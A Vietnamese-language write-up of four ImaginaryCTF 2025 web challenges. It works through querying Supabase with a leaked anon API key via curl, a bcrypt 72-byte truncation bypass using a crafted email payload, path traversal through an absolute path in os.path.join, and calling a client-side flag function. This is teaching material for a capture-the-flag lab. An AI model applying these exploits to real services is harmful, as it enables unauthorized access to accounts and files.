Post

Writeup Giải IMAGINARYCTF2025

Writeup Giải IMAGINARYCTF2025

IMAGINARYCTF2025

I. Imaginary-notes

Mô tả: I made a new note taking app using Supabase! Its so secure, I put my flag as the password to the “admin” account. I even put my anonymous key somewhere in the site. The password database is called, “users”. http://imaginary-notes.chal.imaginaryctf.org

Từ phần mô tả ta có được một gợi ý quan trọng đó là có thể tìm được khoá ẩn danh ở trong phần nào đó của website. Search google về Key của Supabase ta có được một doc khá là hữu ích tại đường dẫn sau: https://supabase.com/docs/guides/api giúp chúng ta có thể giao tiếp trực tiếp vói cơ sở dữ liệu trực tiếp từ trình duyệt thông qua API và API đó nằm tại URL có dạng https://<project_ref>.supabase.co/rest/v1/. Việc cần làm bây giờ làm tìm kiếm phần <project_ref>key trong trang web của thử thách. Bật burpsuite bắt request và bắt đầu tìm kiếm. Khi tôi dùng chuỗi supabase.co để tìm kiếm trong các chunk file được tạo ra bởi node JS thì quả thật là đã có key và url của API

alt text

bây giờ chỉ cần gửi requets chứa API key đến địa chỉ URL đã bị leak để truy vấn các phần từ bảng users và tìm đến phần password của admin thông qua truy vấn sau:

1
2
curl "https://dpyxnwiuwzahkxuxrojp.supabase.co/rest/v1/users?select=*" \
  -H "apikey: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImRweXhud2l1d3phaGt4dXhyb2pwIiwicm9sZSI6ImFub24iLCJpYXQiOjE3NTE3NjA1MDcsImV4cCI6MjA2NzMzNjUwN30.C3-ninSkfw0RF3ZHJd25MpncuBdEVUmWpMLZgPZ-rqI"  | grep admin

Ta nhận được kết quả như sau: alt text

Flag: ictf{why_d1d_1_g1v3_u_my_@p1_k3y???}

II. Passwordless

Mô tả: Didn’t have time to implement the email sending feature but that’s ok, the site is 100% secure if nobody knows their password to sign in!

Xem xét qua mã nguồn thì ta thấy được website này có những chức năng chính như sau:

  1. Đăng ký (POST /user): Sau khi đăng kí hệ thống tự tạo một mật khẩu tạm thời và gửi cho người dùng… 1 đoạn thông báo'An email has been sent with a temporary password for you to log in' :)))
  2. Đăng nhập (POST /session): Yêu cầu người dùng nhập email và mật khẩu để đăng nhập và sau khi đăng nhập thì tại views/dashboard.ejs chứa<%- process.env.FLAG %> tức là flag được hiển thị trực tiếp trên trang dashboard sau khi đăng nhập.Nhưng ta không biết mật khẩu thì làm sau mà đăng nhập để lấy flag đây. Dựa vào logic trên thì ta sẽ tập trung khai thác vấn đề login để lấy được flag.

Đào sâu vào source code ta có thêm những phát hiện sau

Lỗ hổng xoay quanh module normalize dưới đây

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
"use strict";

var PLUS_ONLY = /\+.*$/;
var PLUS_AND_DOT = /\.|\+.*$/g;
var normalizeableProviders = {
  "gmail.com": {
    cut: PLUS_AND_DOT,
  },
  "googlemail.com": {
    cut: PLUS_AND_DOT,
    aliasOf: "gmail.com",
  },
  "hotmail.com": {
    cut: PLUS_ONLY,
  },
  "live.com": {
    cut: PLUS_AND_DOT,
  },
  "outlook.com": {
    cut: PLUS_ONLY,
  },
};

module.exports = function normalizeEmail(eMail) {
  if (typeof eMail != "string") {
    throw new TypeError("normalize-email expects a string");
  }

  var email = eMail.toLowerCase();
  var emailParts = email.split(/@/);

  if (emailParts.length !== 2) {
    return eMail;
  }

  var username = emailParts[0];
  var domain = emailParts[1];

  if (normalizeableProviders.hasOwnProperty(domain)) {
    if (normalizeableProviders[domain].hasOwnProperty("cut")) {
      username = username.replace(normalizeableProviders[domain].cut, "");
    }
    if (normalizeableProviders[domain].hasOwnProperty("aliasOf")) {
      domain = normalizeableProviders[domain].aliasOf;
    }
  }

  return username + "@" + domain;
};

Trong đó sâu hơn là các lỗi logic

1. Xử lý Email Không nhất quán

Đây là lỗ hổng cốt lõi. Khi một người dùng đăng ký tại endpoint /user:

  1. Hệ thống sử dụng email gốc (req.body.email) để tạo mật khẩu ban đầu.
    1
    2
    
    const initialPassword =
      req.body.email + crypto.randomBytes(16).toString("hex");
    
  2. Tuy nhiên, hệ thống lại sử dụng email đã được chuẩn hóa (normalizeEmail(req.body.email)) để làm khóa chính (username) khi lưu vào cơ sở dữ liệu.
    1
    2
    3
    
    const nEmail = normalizeEmail(req.body.email);
    // ...
    db.run(query, [nEmail, hash], (err) => { ... });
    

2. Giới hạn 72-Byte của bcrypt

Một đặc tính ít được biết đến (và nguy hiểm) của thư viện bcrypt trong Node.js là nó sẽ âm thầm cắt bỏ mọi dữ liệu đầu vào vượt quá 72 byte trước khi thực hiện băm. Bất kỳ ký tự nào từ byte thứ 73 trở đi đều bị bỏ qua hoàn toàn.

Mật khẩu được tạo có dạng: [email gốc] + [chuỗi hex ngẫu nhiên 32 ký tự]. Nếu chúng ta có thể làm cho [email gốc] đủ dài, chúng ta có thể “đẩy” toàn bộ hoặc một phần của chuỗi ngẫu nhiên ra khỏi giới hạn 72 byte, khiến nó trở nên vô dụng, từ đó ta sẽ biết được chính xác password mà không cần bruteforce.

Quá trình khai thác

Chúng ta cần một email đáp ứng hai điều kiện:

  1. Khi qua hàm normalizeEmail, nó phải trở thành username@gmail.com. Dựa trên mã nguồn của normalize-email, chúng ta biết nó sẽ xóa dấu . và các chuỗi theo sau dấu + đối với tên miền gmail.com.
  2. Email gốc phải có độ dài chính xác là 72 ký tự. Điều này sẽ khiến bcrypt chỉ băm email gốc và bỏ qua hoàn toàn chuỗi 32 ký tự hex ngẫu nhiên được nối vào sau.

Payloadmình sử dụng là: Dopa'Mean+AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@gmail.com

  • Theo lý thuyết
    • Dopa'Mean+... sẽ được chuẩn hóa thành dopa'mean.
    • Phần tên người dùng có 62 ký tự (Dopa'Mean là 9, + là 1, 52 ký tự A). Cộng với @gmail.com (10 ký tự), tổng độ dài là 72 ký tự. Sau khi normalize sẽ xoá bỏ phần alias sau dấu +
    • Kết quả mong đợi : dopa'mean@gmail.com

Mình đã dùng một script để test payload như sau:

1
2
3
4
5
6
7
8
"use strict";

const normalizeEmail = require("normalize-email");
const emailToTest = process.argv[2];
const normalizedEmail = normalizeEmail(emailToTest);

console.log(`Email gốc:         ${emailToTest}`);
console.log(`Email đã chuẩn hóa: ${normalizedEmail}`);

Và đây là kết quả trả về - đúng như mong đợi: alt text

Bây giờ chỉ cần gửi payload này đến trang Đăng kí và đăng nhập để lấy flag thôi.Ngoài ra trong mã code còn normalize trong cả quá trình đăng nhập nên ta dùng payload Dopa'Mean+AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@gmail.com hay dopa'mean@gmail.com trong phần username đều có thể đăng nhập được.

1
2
3
4
5
6
7
app.post('/session', limiter, (req, res, next) => {
    if (!req.body) return res.redirect('/login')

    const email = normalizeEmail(req.body.email)
    const password = req.body.password
    ...
})

Flag: ictf{8ee2ebc4085927c0dc85f07303354a05}

III. Codename_1

Mô tả: I hear that multilingual codenames is all the rage these days. Flag is in /flag.txt.

Nhìn tổng thể thì đây là một ứng dụng web game, nơi người chơi cố gắng đoán các từ dựa trên gợi ý - có nhiều ngôn ngữ để phục vụ người chơi. Ứng dụng được xây dựng bằng Flask và Socket.IO. Phân tích mã nguồn cho thấy có hai flag riêng biệt có thể được lấy thông qua hai lỗ hổng khác nhau.

  • FLAG_1: Lấy được qua lỗ hổng Path Traversal.
  • FLAG_2: Lấy được qua một lỗi logic trong cơ chế game có thể là dành cho bài khó hơn đằng sau :v Ta chỉ tập trung để lấy FLAG_1 thông qua gợi ý của thử thách

Phân tích

Lỗ hổng nằm trong endpoint /create_game trong tệp app.py. Khi tạo một game mới, người dùng có thể chọn một ngôn ngữ cho danh sách từ. Mã nguồn xử lý việc này như sau:

1
2
3
4
5
6
7
8
9
language = request.form.get('language', None)
if not language or '.' in language:
    language = LANGUAGES[0] if LANGUAGES else None
# ...
if language:
    wl_path = os.path.join(WORDS_DIR, f"{language}.txt")
    try:
        with open(wl_path) as wf:
            word_list = [line.strip() for line in wf if line.strip()]
  • Ứng dụng cố gắng ngăn chặn Path Traversal bằng cách kiểm tra xem tham số language có chứa dấu chấm (.) hay không. Đây là một biện pháp bảo vệ không đầy đủ, nó chỉ ngăn người dùng ngược từ thư mục con đến thư mục cha thông qua đường dẫn tương đối. Tuy nhiên nó đã quên mất 1 điều rằng ta có thể try cập flag thông qua đường dẫn tuyệt đối. Dù dòng wl_path = os.path.join(WORDS_DIR, f"{language}.txt") nó sẽ nối đuôi .txt vào tên file truyền vào và sau đó nối thêm đường dẫn. Tuy nhiên đoạn mã này lại không hoạt động nếu đầu vào là một đường dẫn tuyệt đối đến một file. Kiểm chứng thông qua đoạn code như sau:
1
2
3
4
5
6
import os
WORDS_DIR = "/app/words"
print(os.path.join(WORDS_DIR, "english.txt"))
language = "/flag"
wl_path = os.path.join(WORDS_DIR, f"{language}.txt")
print(wl_path)

Kết quả trả về: alt text

Khai thác

  1. Đăng kí
  2. Tạo một game thông qua burpsuite với language=/flag alt text

  3. Truy cập vào code game được trả về ở đây là: http://codenames-1.chal.imaginaryctf.org/game/LMDP44
  4. Nhấn addbot để bắt đầu trò chơi và flag sẽ được gửi đến thông qua socket. alt text hoặc alt text

Flag: ictf{common_os_path_join_L_b19d35ca}

IV. Certificate

Mô tả: As a thank you for playing our CTF, we’re giving out participation certificates! Each one comes with a custom flag, but I bet you can’t get the flag belonging to Eth007!

Trang web thử thách có một giao diện đơn giản như dưới đây: alt text

Ctrl + U để đọc source code của trang web ta thấy một số đoạn code đặc biệt như sau:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
function escapeXml(s) {
  return String(s || "").replace(
    /[&<>'"]/g,
    (c) =>
      ({ "&": "&amp;", "<": "&lt;", ">": "&gt;", "'": "&apos;", '"': "&quot;" }[
        c
      ])
  );
}

function customHash(str) {
  let h = 1337;
  for (let i = 0; i < str.length; i++) {
    h = (h * 31 + str.charCodeAt(i)) ^ (h >>> 7);
    h = h >>> 0; // force unsigned
  }
  return h.toString(16);
}

function makeFlag(name) {
  const clean = name.trim() || "anon";
  const h = customHash(clean);
  return `ictf{${h}}`;
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function renderPreview() {
  var name = nameInput.value.trim();
  if (name == "Eth007") {
    name = "REDACTED";
  }
  const svg = buildCertificateSVG({
    participant: name || "Participant Name",
    affiliation: affInput.value.trim() || "Participant",
    date: dateInput.value,
    styleKey: styleSelect.value,
  });
  svgHolder.innerHTML = svg;
  svgHolder.dataset.currentSvg = svg;
}

Ở đoạn code if (name == "Eth007") {name = "REDACTED"} chính là điểm mấu chốt khiến chúng ta không đọc được flag và trả ra chuỗi flag sai. Từ logic trên thì cách để giải bài này chỉ là chạy trực tiếp hàm makeFlag với đầu vào là Eth007 thông qua console của devtool và nhận flag.

alt text

Flag: ictf{7b4b3965}

This post is licensed under CC BY 4.0 by the author.